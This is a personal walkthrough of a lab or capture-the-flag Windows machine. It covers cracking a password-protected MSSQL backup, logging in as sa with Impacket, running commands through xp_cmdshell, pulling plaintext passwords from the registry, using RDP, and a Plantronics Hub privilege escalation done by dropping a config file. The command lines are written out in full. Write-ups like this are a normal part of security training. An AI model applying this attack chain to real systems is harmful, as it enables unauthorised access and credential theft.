# Enumeration

2021年7月27日 14:52

1: Use autorecon to enumerate its services, **80, 135, 139, 445, 1221,1435** are open
2: Sign in FTP service, there is an interesting file named **MSSQL_BAK.rar**, download it
3: Try to extract it, however, it does have **password protection**
4: Execute **rar2john MSSQL_BAK.rar > protectoin.txt**, and **john --wordlist=dict/rockyou.txt protection.txt** to crack its password: **letmeinplease**
5: After cracking, I get a file: **mssql_backup.txt**
6: It contains **MSSQL's credential**: **sa: EjectFrailtyThorn425**
7: Use **Impacket's mssqlclient.py** to connect to target MSSQL service: cd /impacket/examples, **python mssqlclient.py -p 1435 sa:EjectFrailtyThorn425@192.168.185.70**
8: **xp_cmdshell cd C:/Users && dir**, to check users on this server
9: **xp_cmdshell cd C:/Users/jane/Desktop && dir**, and my access is **denied**
10: **xp_cmdshell reg query HKLM /f pass /t REG_SZ /s** to search **plaintext password** in **registry**
11: Among many outputs, a plaintext password **TwillightAirmailMuck234** could be a user's password

# Foothold

2021年7月27日 14:52

1: Use RDP to Xconnect target server with credential **jane:TwillightAirmailMuck234**, and it succeeds
2: Capture the local flag
3: There is an app on the desktop, too. It is **Plantronics Hub 3.13.2**

# Privilege Escalation

2021年7月27日 14:52

1: The application does have a local privilege escalation public exploit (https://www.exploit-db.com/exploits/47845)
2: Navigate to **C:/ProgramData/Plantronics/Spokes3G,** folder ProgramData is hidden.
3: Create a file named **MajorUpgrade.config**, with an line of content:
**jane|advertise|C:\Windows\System32\cmd.exe**
4: A system shell will pop up
5: Capture the proof.txt

# Review

2021年7月27日 14:57

1: Target **FTP**, **MSSQL**
2: Connect to FTP to download **MSSQL backup** file
3: Extract it from a **password protection**
4: Use **mssqlclient.py** to sign in
5: Use **xp_cmdshell** to execute cmd
6: Search low-hanging fruit: **plaintext password in registry**
7: Combine it with a **found user**, use **RDP** to sign in
8: Check the app which is **on the desktop**, its **name** and **version**
9: Create a **config** file, get system shell
**10: This server has AV, nc.exe will be constantly cleaned up,** search for plaintext password should be the **intended way**.